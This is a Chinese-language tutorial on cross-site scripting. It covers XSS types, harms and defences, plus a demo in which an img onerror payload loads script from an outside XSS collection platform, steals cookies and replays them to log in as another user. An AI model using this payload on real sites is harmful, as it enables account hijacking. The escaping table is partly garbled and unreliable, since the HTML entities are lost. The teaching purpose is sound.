1、XSS

XSS（Cross Site Scripting）攻击全称跨站脚本攻击，为了不与CSS(Cascading Style Sheets)混淆，故将跨站脚本攻击缩写为XSS，XSS是一种经常出现在web应用中的计算机安全漏洞，它允许恶意web用户将代码植入到提供给其它用户使用的页面中。
通俗的来说就是我们的页面在加载并且渲染绘制的过程中，如果加载并执行了意料之外的程序或代码（脚本、样式），就可以认为是受到了 XSS攻击。

• XSS更多是发生在web前端的一种漏洞，所以危害的对象主要还是前端用户。

  
  XSS

2、XSS的危害

• 挂马。
• 盗取用户Cookie、账号等信息。
• DOS（拒绝服务）客户端浏览器。
• 前端JS挖矿。
• 钓鱼攻击，高级的钓鱼技巧。
• 删除目标文章、恶意篡改数据、嫁祸。
• 劫持用户Web行为，甚至进一步渗透内网。
• 爆发Web2.0蠕虫。
• 蠕虫式的DDoS攻击。
• 蠕虫式挂马攻击、刷广告、刷浏量、破坏网上数据

3、XSS分类

• 反射型：
  也叫非持久型XSS，交互数据一般不会被存在数据库里面，一次性，所见即所得。一般XSS代码出现在请求URL中，作为参数提交到服务器，服务器解析并响应，响应结果中包含XSS代码，最后浏览器解析并执行。

  场景：
  1、用户A给用户B发送一个恶意构造了Web的URL。
  2、用户B点击并查看了这个URL。
  3、用户B获取到一个具有漏洞的HTML页面并显示在本地浏览器中。
  4、漏洞HTML页面执行恶意JavaScript脚本，将用户B信息盗取发送给用户A，或者篡改用户B看到的数据等。

  
  反射型XSS

• 存储型：
  也叫持久型XSS，主要将XSS代码提交存储在服务器端（数据库，内存，文件系统等），下次请求目标页面时不用再提交XSS代码。当目标用户访问该页面获取数据时，XSS代码会从服务器解析之后加载出来，返回到浏览器做正常的HTML和JS解析执行，XSS攻击就发生了。
  场景：
  1、用户A在网页上创建了某个账户，并且账户信息中包含XSS代码。
  2、用户B访问该网站查看XSS代码账户详情页面。
  3、服务端返回账户详情页面，和带XSS账户信息。
  4、用户B浏览器执行XSS代码，将用户B信息盗取发送给用户A，或者篡改用户B看到的数据等。

  
  存储型XSS

• DOM型
  一种特殊的反射型XSS。由客户端的脚本程序可以动态地检查和修改页面内容，而不依赖于服务器端的数据。一般从url中提取数据中含xss，未过滤并在本地执行dom的渲染操作，输入来源多是document.location、document.URL、document.URLUnencoded、document.referrer、window.location等，而触发api多是document.write()、document.writeln()、document.innerHtml、eval()、window.execScript()、window.setInterval()、window.setTimeout()等。
  场景：
  1、用户B访问网站url中带有XSS代码参数。
  2、浏览器下载该网站JavaScript脚本。
  3、JavaScript脚本有个方法获取URL中XSS代码参数，并且用innerHtml渲染在dom中。
  4、触发XSS代码，造成XSS攻击，cookie数据失窃。

  
  DOM型XSS

4、示例分析

1、入参不严谨，对入参没做任何规则校验。

2、用参太随意，对未知参数未过滤，直接丢给dom操作。

漏洞演示：机密性 - 窃取用户cookie信息

• 步骤1：借助https://xss.fbisb.com平台，创建项目test

  步骤1

• 步骤2：再利用平台提供的xss代码：https://xss.fbisb.com/JGtp

• 步骤3：新建含xss代码的账户：<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='xss代码的url';> 步骤3
• 步骤4：别的用户登录查看包含该账户名的日志信息，触发XSS 步骤4
• 步骤5：fbisb.com平台获取到用户cookie信息 步骤5

• 步骤6：利用无痕浏览器访问目标网站，将cookie信息写入，免登陆进入平台

5、如何避免XSS攻击

1. innerHTML（原生）、v-html（vue）、dangerouslySetInnerHTML（react）等直接渲染html的函数慎用，确保渲染的数据是由前端写死的、无危害的才可直接使用；
2. 使用innerHTML（原生）、v-html（vue）、dangerouslySetInnerHTML（react）等直接渲染html的函数渲染请求数据时，需要先把字符串转义：
   1)、把 > 替换成 >
   2)、把 < 替换成 <
   3)、把 & 替换成 &amp``;
   4)、把 " 替换成 &quot``;
   5)、把 ' 替换成 &#39``;
3. 字符过滤：
   1)、过滤掉特殊的HTML标签，例如<script>、<iframe>等；
   2)、过滤掉Javascript事件标签，例如"onclick"、"onfocus"等；
4. Http Only cookie；
5. 输入检查：对产品输入要求格式严谨检查过滤；

6、讨论&思考

1.学习规范安全编码
根在人为，如果没有规范的学习过前端知识，特别是安全规范知识，直接跨端做前端开发的时候，很多时候知道一个功能怎么去实现，然后百度找api，找到api发现可以使用即可，通常会发生为了实现功能而忽略安全。所以我们在找到可用api时，还得查历该api是否存在安全隐患，需要如何规避、或者有其他更安全的api。

2.对不可信数据保持敏感
对于任何非前端代码数预置数据，保持敏感对待，是否用于dom操作渲染，如果是则需要做相应的过滤处理，或者换其他安全实现方式。